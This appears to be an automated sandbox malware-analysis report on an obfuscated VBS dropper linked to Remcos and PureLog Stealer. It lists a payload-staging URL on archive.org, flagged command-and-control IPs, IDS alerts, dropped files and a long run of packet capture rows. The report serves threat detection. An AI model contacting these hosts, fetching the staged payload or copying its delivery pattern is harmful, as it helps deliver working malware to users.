https://ia600100.us.arX	powershell.exe, 0000000A.00000002.1391003389.0000026F2EE8A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ia600100.us.archive.org	powershell.exe, 0000000A.00000002.1391003389.0000026F2EE8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://45.90.89.123	powershell.exe, 0000000A.00000002.1391003389.0000026F2DC4A000.00000004.00000800.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000008.00000002.1454522210.000001EB02CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1454522210.000001EB02C5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2D821000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt9uO;FIibase64Content	powershell.exe, 0000000A.00000002.1391003389.0000026F2DA42000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.1454522210.000001EB02CCA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1391003389.0000026F2D821000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.1391003389.0000026F2F15A000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://oneget.org	powershell.exe, 0000000A.00000002.1391003389.0000026F2EF56000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 0000000A.00000002.1391003389.0000026F2EF0E000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.90.89.123	unknown	Bulgaria	33657	CMCSUS	true
45.90.89.98	unknown	Bulgaria	33657	CMCSUS	true
207.241.227.240	ia600100.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523832
Start date and time:	2024-10-02 05:28:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5fKvwnCAeC.vbs renamed because original name is a hash value
Original Sample Name:	f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winVBS@8/6@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 93% Number of executed functions: 41 Number of non-executed functions: 209
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7484 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8120 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:29:19	API Interceptor	46x Sleep call for process: powershell.exe modified
23:29:59	API Interceptor	2117020x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.90.89.123	gcnmTxDXTo.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.90.89.123/2117/RMCCF.txt
45.90.89.123	xnHel.rtf	Get hash	malicious	Remcos	Browse	45.90.89.123/421/UNOST.txt
45.90.89.98	AMG Cargo Logistic.docx	Get hash	malicious	Remcos	Browse
	factura proforma .docx.doc	Get hash	malicious	Remcos	Browse
	AWS 1301241710.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse
	gcnmTxDXTo.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse
	17269374062ef5cc5f064187ae053742f15ea11eaf7fe116e75df3551c4709ce78e8f1419a932.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	1726170845fe5c472375696bf668b3b528e9effd5f9dfb1a2108bcc6e243a091f1afc5c794629.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	xnHel.rtf	Get hash	malicious	Remcos	Browse
	PO FT-151-2024 PETROMAT.xls	Get hash	malicious	Remcos	Browse
	August Shipment - Inv No. 041.xls	Get hash	malicious	Remcos	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.32304.23264.rtf	Get hash	malicious	Remcos	Browse
207.241.227.240	1iH5ABLKIA.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse
	aK7smea2Vv.vbs	Get hash	malicious	PureLog Stealer	Browse
	vr65co3Boo.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse
	f4576JaIo9.vbs	Get hash	malicious	PureLog Stealer	Browse
	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ia600100.us.archive.org	1iH5ABLKIA.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	aK7smea2Vv.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	vr65co3Boo.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	f4576JaIo9.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CMCSUS	Deolane-Video-PDF.vbs	Get hash	malicious	Unknown	Browse	45.89.247.53
	Odeme_belgesi.exe	Get hash	malicious	Lokibot	Browse	45.66.231.242
	m7DmyQOKD7.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.66.231.126
	AMG Cargo Logistic.docx	Get hash	malicious	Remcos	Browse	45.90.89.98
	factura proforma .docx.doc	Get hash	malicious	Remcos	Browse	45.90.89.98
	SERVICE OR PRODUCT DESRIPTION AND COMPANY PROFILE.SCR.exe	Get hash	malicious	Remcos	Browse	45.66.231.90
	l.exe	Get hash	malicious	Unknown	Browse	45.66.231.185
	winx86.exe	Get hash	malicious	Unknown	Browse	45.66.231.185
	AWS 1301241710.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.90.89.98
	5qcJn1lfO5.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.89.247.65
INTERNET-ARCHIVEUS	1iH5ABLKIA.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	aK7smea2Vv.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	vr65co3Boo.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	f4576JaIo9.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	ZJbugHcHda.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	0BO4n723Q8.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	PofaABvatI.vbs	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.241.227.240
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.29427.26024.rtf	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
CMCSUS	Deolane-Video-PDF.vbs	Get hash	malicious	Unknown	Browse	45.89.247.53
	Odeme_belgesi.exe	Get hash	malicious	Lokibot	Browse	45.66.231.242
	m7DmyQOKD7.exe	Get hash	malicious	RHADAMANTHYS	Browse	45.66.231.126
	AMG Cargo Logistic.docx	Get hash	malicious	Remcos	Browse	45.90.89.98
	factura proforma .docx.doc	Get hash	malicious	Remcos	Browse	45.90.89.98
	SERVICE OR PRODUCT DESRIPTION AND COMPANY PROFILE.SCR.exe	Get hash	malicious	Remcos	Browse	45.66.231.90
	l.exe	Get hash	malicious	Unknown	Browse	45.66.231.185
	winx86.exe	Get hash	malicious	Unknown	Browse	45.66.231.185
	AWS 1301241710.docx.doc	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.90.89.98
	5qcJn1lfO5.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.89.247.65

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	1iH5ABLKIA.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	uLfuBVyZFV.vbs	Get hash	malicious	Unknown	Browse	207.241.227.240
	aK7smea2Vv.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	vr65co3Boo.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	f4576JaIo9.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	WW8kzvnphl.vbs	Get hash	malicious	Unknown	Browse	207.241.227.240
	89SkYNNpdi.vbs	Get hash	malicious	AveMaria, PrivateLoader, PureLog Stealer	Browse	207.241.227.240
	qiEmGNhUij.vbs	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer	Browse	207.241.227.240
	2THp7fwNQD.vbs	Get hash	malicious	Unknown	Browse	207.241.227.240
	iJEK0xwucj.vbs	Get hash	malicious	Unknown	Browse	207.241.227.240

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulh49//lz:NllUu9//
MD5:	AADE84B9650AB09D8DC304B168D6D555
SHA1:	17BC4180A60DBFF0B3F9BF8E5C5987D452D1D868
SHA-256:	2C79C35AD1C4DFF21408F447C6AD565ACC3BDE8C8869108C8AA2F05B79539090
SHA-512:	594C57CC7D421DD576EA05344E4EA8179D93295003638AD34A634BB5632B88DF65B7AEB52515E50CA060DA57F7BC6553C0193FF1931CB95D9BDEC3845779045D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2amsj435.g4p.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1fn0441.lbk.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lcnlpz4b.zmu.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sedqkmkm.5pl.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\loat\logs.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	6.723642622925031
Encrypted:	false
SSDEEP:	3:9KVfpHGzVFx1pK9kbpqborWgY2BJKXvsnCXFblmmaxqjGdjeRJFIg429vx9Bnh:sBHGzZ1k9hborYmJuaCXFRRaw2a22l1h
MD5:	DCF1DB117B36197409F895449AC386F0
SHA1:	13EAA237AF3600BAF0313CA7434C03BAEA9051AD
SHA-256:	A46C7C812A00D370A5FE4BCC1D52C07F3F3AC5FB2C316056AF15194BF182BBB6
SHA-512:	A696E8027F3786A617CBF7E2296671CD509F3B3E03148AC22B871BFCA0447E7B7728C85DAF8A4BF36815F754240255422C928E0DD3B7647CC3D559A4233F70B6
Malicious:	false
Preview:	.=.........7.@..FL.X.y.v..$..C..>....IYn..E....4[.......r.I.Y..5f.'...>.LC.Z..?r.`kH...E;1M..yc8..d.8t3+ ......4.....Re.../.x......w.i.

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.769827058226355
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	5fKvwnCAeC.vbs
File size:	290'064 bytes
MD5:	0c6c4542c1abc5fc3d5eab3e4ab3793a
SHA1:	288dfb240061530c2c73ae4183b7330623e94a69
SHA256:	f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41
SHA512:	7c3e22629060d8b18f1e88cbcb946d470599ac14699c75a7c1bf5cec0e174b8b3552eb6ec580defa747cb4cd5d9bfcc56e4ee9aa3dd366ed4272f88718ed8e2b
SSDEEP:	6144:krHUuR5e0zLMcgGkkurXmTX/lb+rsb4Okiy+3kPvvA:kr0uR5e0nMc/kLrWTX/lb+rsb4Okiy47
TLSH:	5854181225EA7008F1F32F575AF955F94F6BB9652A39821D644C0B0E1BE3E80CE51BB3
File Content Preview:	..W.Z.x.N.W.m.n.i.k.G.p.v.W.o.K.q.O.c.k.B.L.K.i.U.Z.i.L.L.p.m. .=. .".i.b.b.K.e.G.e.R.W.r.B.c.U.e.B.W.N.c.W.h.m.L.I.C.R.f.n.o.K.P.".....e.O.L.W.T.L.a.i.o.z.c.z.d.k.Z.I.P.L.t.o.o.G.L.q.p.m.G.e.R.W. .=. .".L.g.c.W.q.k.N.g.h.R.o.L.U.i.r.a.R.K.K.A.P.G.d.n.g.z

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T05:29:12.457573+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.10	60901	45.90.89.98	8243	TCP
2024-10-02T05:29:27.935861+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	45.90.89.123	80	192.168.2.10	49707	TCP
2024-10-02T05:29:27.935861+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	45.90.89.123	80	192.168.2.10	49707	TCP
2024-10-02T05:29:50.329695+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.10	49708	45.90.89.98	8243	TCP
2024-10-02T05:30:12.684380+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.10	49713	45.90.89.98	8243	TCP
2024-10-02T05:30:35.061345+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.10	60898	45.90.89.98	8243	TCP
2024-10-02T05:30:57.500976+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.10	60899	45.90.89.98	8243	TCP
2024-10-02T05:31:19.894305+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.10	60900	45.90.89.98	8243	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:29:21.210912943 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:21.210962057 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:21.211045980 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:21.226649046 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:21.226667881 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:21.852826118 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:21.852957010 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:21.899665117 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:21.899687052 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:21.900089025 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:21.957665920 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:21.968733072 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.015399933 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221060038 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221100092 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221110106 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221141100 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221155882 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221163988 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221220970 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.221235991 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.221271992 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.221327066 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.247847080 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.247869015 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.248167992 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.248178005 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.248234034 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.287326097 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.287349939 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.287476063 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.287486076 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.287560940 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.339250088 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.339272976 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.339413881 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.339427948 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.339483976 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.340846062 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.340862036 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.340928078 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.340934992 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.340992928 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.354022026 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.354038954 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.354116917 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.354125977 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.354178905 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.405663967 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.405683994 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.405920029 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.405934095 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.405988932 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.431881905 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.431906939 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.432001114 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.432010889 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.432065964 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.433219910 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.433262110 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.433289051 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.433301926 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.433346033 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.433346033 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.434283018 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.434313059 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.434364080 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.434370995 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.434433937 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.434433937 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.485790968 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.485817909 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.486067057 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.486080885 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.486159086 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.487952948 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.487976074 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.488030910 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.488111973 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.488117933 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.488275051 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.552752018 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.552781105 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.552922010 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.552931070 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.553046942 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.553646088 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.553663969 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.553718090 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.553729057 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.553770065 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.554491043 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.554512978 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.554600954 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.554606915 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.554682970 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.618886948 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.618908882 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.619083881 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.619095087 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.619159937 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.620269060 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.620284081 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.620382071 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.620389938 CEST	443	49706	207.241.227.240	192.168.2.10
